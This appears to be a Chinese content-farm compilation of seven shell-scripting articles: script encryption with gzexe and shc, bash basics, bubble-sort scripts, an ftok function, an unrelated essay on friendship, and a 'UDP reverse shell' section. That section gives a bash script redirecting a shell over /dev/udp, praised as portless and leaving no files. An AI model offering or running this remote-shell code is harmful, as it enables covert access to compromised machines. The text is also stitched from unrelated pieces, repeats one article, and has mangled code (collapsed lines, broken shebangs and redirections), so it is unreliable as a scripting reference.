以下是小编帮大家整理的shell脚本加密脚本安全,本文共7篇,仅供参考,希望能够帮助到大家。

篇1:shell脚本加密脚本安全
第一种方法(gzexe):
这种加密方式不是非常保险的方法,但是能够满足一般的加密用途,可以隐蔽脚本中的密码等信息,
它是使用系统自带的gzexe程序,它不但加密,同时压缩文件。
使用方法:
gzexe file.sh
它会把原来没有加密的文件备份为 file.sh~ ,同时 file.sh 即被变成加密文件;
第二种方法(shc):
使用 shc 对 Linux shell 脚本加密.
shc是一个专业的加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件,这个办法很好的解决了脚本中含有IP、密码等不希望公开的问题.
shc的下载地址:
点击下载
安装:
tar xzvf shc-3.8.6.tgz
cd shc-3.8.6
mkdir -p /usr/local/man/man1
这步是必须的,不然安装过程中会报错,shc将安装命令到/usr/local/bin/目录下;将帮助文档存放在/usr/local/man/man1/目录下,如果系统中无此目录,安装时会报错,可创建此目录后再执行安装
make install
这是要回答yes或者y,不能直接回车,否则会报错
使用方法:
“-f”选项指定需要加密的程序
shc -r -f script-name
运行后会生成两个文件,script-name.x 和 script-name.x.c. 其中script-name.x是加密后的可执行的二进制文件;用./script-name即可运行,script-name.x.c是生成script-name.x的原文件(c语言).
另shc还提供了一种设定有效执行期限的方法,可以首先使用shc将shell程序转化为二进制,并加上过期时间,如:
# shc -e 18/10/ -m “ It’s too late to run this script. ” -f script.s
篇2:shell脚本学习
1111111111111清除/var/log下messages日志文件的简单命令脚本
/var/log/下日志文件时系统文件,必须有root权限:
$UID是系统的全局变量:
make && make install 表示前面成功了,执行后面的
make || make install 表示前面不成功,执行后面的
清空日志的三种方法:适合保留文件,清空内容的场合
①echo “ ”>test.log或echo > test.log
②>test.log
③cat /dev/null > test.log
22222222222:shell脚本的基础知识
shell是弱类型语言:(语法宽松,不严格)较为通用
通用的shell有标准的Bourne shll(sh)和c shell(csh)其中Bourne shell(sh)已经被bash shell取代
shell脚本的建立:
tac /etc/init.d/nfs 将文件倒着显示
相当于:head -1 /etc/init.d/nfs
①脚本开头
一个规范的shell脚本的第一行会指出由哪个程序(解释器)来执行脚本中的内容,在
333333333333linux bash 编程中一般为:
①解释器
#!/bin/bash
或
#!/bin/sh
②在linux下sh 相当于bash,
#!又称幻数,在执行bash脚本的时候,内核会根据它来确定用哪个程序来解释脚本中的内容
,这一行必须在脚本顶端的第一行,如果不是第一行,则为注释
Centos.和RedHat linux下默认的shell均为bash
④如果脚本的开头不指定解释器,那么,就要用对应的解释器来执行脚本
脚本注释
#号
444444444444444shell脚本的执行
shell脚本的执行
当shell脚本以非交互的方式运行时,它会先查找环境变量ENV,该变量指定了一个,环境文件(通常是.bashrc),然后从改环境变量文件开始执行,当读取了ENV文件后,SHELL才开始执行shell脚本中的内容,
shell脚本学习
,
Shell脚本的执行通常可以采用以下三种方式:
①bash script-name或 sh script-name(推荐使用)
②path/script-name或./script-name(当前路径下执行脚本)
③source script-name或. script-name# 注意点号
第一种方法是当脚本文件本身没有可执行权限(即文件X位为-号)时常使用的方法,这里推荐用bash执行,或者文件开头没有指定解释器,
第二种方法需要先将脚本文件的权限改为可执行(即文件加X位),具体方法:chmod u+x
script-name 或者chmod 755 script-name然后通过脚本路径,就可以直接执行脚本了
第三种方法通常是使用source或者“.” 号读入或加载指定的shell脚本文件语句,,然后,依次执行指定shell脚本文件san.sh中的所有。语句将作为当前父shell脚本father.sh进程的一部分运行,因此,使用source或者“.”点号等的可以将san.sh自身脚本中的变量的值,或者函数等的返回值传递到当前的父shell脚本father.sh中使用,这是第三种方法和前两种方法的最大区别
通过source 或“.” 点号加载执行过的脚本,在脚本结束后脚本中的变量(包括函数)值,在当前shell中依然存在,而sh和bash则不行,因此,在做shell脚本开发时。如果脚本中有需求引用其他脚本的内容,或者配置文件时,做好用“.” 点号或者source在脚本开头加载改脚本或配置文件,然后在下面的内容用可以调用source加载的脚本及文件中的变量及函数等内容。
笔试题:
已知如下命令及返回结果,请问echo $user的返回的结果为
[oldboy@test~]cat test.sh
[oldboy@test~]user=`whoami`
[oldboy@test~]sh test.sh
篇3:shell脚本排序(冒泡排序)
#/bin/basha=(9 84 51 0 345 1 2 34 1 0) #自己定义一个数组temp=for((i=0;i<10;i++)){ for((j=i;j<10;j++)) { x=${a[$i]} if test $x -ge ${a[$j]} then temp=${a[$i]} a[$i]=${a[$j]} a[$j]=$temp fi }}for((k=0;k<10;k++)){ echo -n ${a[$k]} “ ”}echo
上面以自定义固定数组进行排序,下面是用户自定义输入数组进行排序,
shell脚本排序(冒泡排序)
,
#/bin/basha=`expr $# + 1`#expr是一个计算操作,$#是参数个数,$#+1是因为$0没有存储参数.temp=for((i=1;i<$a;i++)){ b[$i]=$1 shift 1 }for((i=1;i<$a;i++)){ for((j=i;j<$a;j++)) { x=${b[$i]} if test $x -ge ${b[$j]} then temp=${b[$i]} b[i]=${b[$j]} b[j]=$temp #相当与冒泡排序 fi }}for((k=1;k<$a;k++)){ echo -n ${b[$k]} “ ” #不换行显示}echo~$./a.out 7 6 56 4 3
~$3 4 6 7 56
篇4:Linux UDP反弹shell脚本脚本安全
无端口
成功启动后无残余文件
一般情况下没有UDP单包512字节的问题,当然你要是执行奇葩的命令我也没办法
非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了
由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出
图就不贴了,大家自己玩
#!/bin/bash
exec 3>/dev/udp/127.0.0.1/8080
exec 2>&3
exec 1>&3
echo Welcom back
cat 03 | bash | while read line;do echo $line;done
篇5:脚本
不能轻易进入对方的世界,对方也不能轻易找到的通道。
这就是我的友情。
寡淡而过渡。
我是很小心眼的。为了一点和自己过意不去的小事情就生气,却在下一秒就原谅了对方。如果实在太纠结,那也只可能是因为某个问题自己暂时还没有想通而已。比如为什么要插列;为什么这么势利;为什么爱跟我学等等。
习惯给喜欢的东西取一个亲切的名字,或以特殊的称谓进行交流。
比如:小西=罗茜、魔拉=一块大草坪、大妞=黄可磊、人气小天后=琴姐……
男么么、女么么、z、春天、招牌动作、雕牌透明皂、西西、胖大海、阿长、阿短、打波e、蛋挞、……还有至今未想好名字的胡同学。
当然还包括白菜的那一帮帮菜头儿们。
我的友谊网像一个大筛子,遇到的很多,最终没被过滤掉的很少。
我不知道是不是我太过敏感、太过愚钝,还是没人能把握好我脾气变化的周期。总之、我不适合有太多朋友。
经过初中冗杂的小女生的生活,那些种种:力力、钟瑷琳、琴姐、papa、yo姐……不管怎样笼统地分出好人坏人,都渐渐让我看清,没有真正的友谊。像在钟瑷琳的事发生以后我在日记中写道:“朋友只是由于暂时地拥有共同的利益而上了同一条船。而那些断然认为的知己,只是因为他们的利益比较纯粹罢了。”
篇6:Shell脚本排序算法(冒泡排序)
#/bin/basha=(9 84 51 0 345 1 2 34 1 0) #自己定义一个数组temp=for((i=0;i<10;i++)){ for((j=i;j<10;j++)) { x=${a[$i]} if test $x -ge ${a[$j]} then temp=${a[$i]} a[$i]=${a[$j]} a[$j]=$temp fi }}for((k=0;k<10;k++)){ echo -n ${a[$k]} “ ”}echo
上面写的数组是事前在代码里定义好的数组排序,下面的是用户在执行过程中自定义的数组排序,
Shell脚本排序算法(冒泡排序)
,
#/bin/basha=`expr $# + 1`#expr是一个计算操作,$#是参数个数,$#+1是因为$0没有存储参数.temp=for((i=1;i<$a;i++)){ b[$i]=$1 shift 1 }for((i=1;i<$a;i++)){ for((j=i;j<$a;j++)) { x=${b[$i]} if test $x -ge ${b[$j]} then temp=${b[$i]} b[i]=${b[$j]} b[j]=$temp #相当与冒泡排序 fi }}for((k=1;k<$a;k++)){ echo -n ${b[$k]} “ ” #不换行显示}echo$: ./liu.sh 8 7 6 4 100 7
$: 4 6 7 7 8 100
篇7:Shell脚本实现ftok函数
这篇文章主要介绍了Shell脚本实现ftok函数,ftok函数是操作系统底层中很有名的一个函数,本文讲在Shell中如何实现同样算法的函数,需要的朋友可以参考下
“古老的 Sys IPC 仍然有好几种有效的用途,三种 IPC 对象是共享内存,信号灯和消息。”当使用到 IPC 的这些对象时,你需要为每个对象创建一个 Key。虽然理论上来说我们在定义一个 IPC Key 的时候可以使用任意自己喜欢的 Key ,但为了避免与其他的程序产生定义重复,在 UNIX/Linux 中一般会使用 key_t ftok(const char *path, int id) 函数来生成一个比较唯一的 Key 值。然而,“每个人都讨厌 System V IPC。它比打孔纸带还慢,使用与文件系统完全无关少得可怜的名字空间,使用人类讨厌的数字给它的对象命名,并且还常常自己忘记自己的对象,你的系统管理员经常需要用 ipcs(1) 查找那些丢失了的对象并且用 ipcrm(1) 删除它们,还得求老天保佑不要在用光内存以后才发现问题。” 对于来实现进程监控/自动重启Bash Shell 脚本来说,在脚本里面硬编码进当前程序用到的 Key 值肯定不是个好办法,最好是实现相同算法的 ftok 函数。
代码如下:
#!/bin/sh
let key=0
function ftok() {
pathname=$1;
proj_id=$2;
str_st_ino=`stat --format=‘%i‘ “${pathname}” 2>/dev/null`;
str_st_dev=`stat --format=‘%d‘ “${pathname}” 2>/dev/null`;
if [ “x${str_st_ino}” = “x” -o “x${str_st_dev}” = “x” ] ; then
return 1;
fi
let st_ino=${str_st_ino}
let st_dev=${str_st_dev}
# 注意这里的位操作运算符需要加转义符
let key1=${st_ino}&16#FFFF
let key2=${st_dev}&16#FF
let key2=${key2}<<16
let key3=${proj_id}&16#FF
let key3=${key3}<<24
let key=${key1}|${key2}
let key=${key}|${key3}
}
function echohelp(){
echo “ftok generator”
echo “Usage:ftok pathname projid”
exit 5
}
if [ $# -ne 2 ] ; then
echohelp
fi
sPathName=$1
let nProjectID=$2
if [ “${sPathName:0:1}” != “/” ] ; then
sPathName=${PWD}/${sPathName}
fi
if ! test -f ${sPathName} ; then
echo “No File Found![${sPathName}]”
exit 4
fi
ftok “${sPathName}” “${nProjectID}”
echo ${key}
★linux shell自动创建ca证书脚本linux操作系统
★Discuz! moderation.inc.php 数据库注射 bug脚本安全
文档为doc格式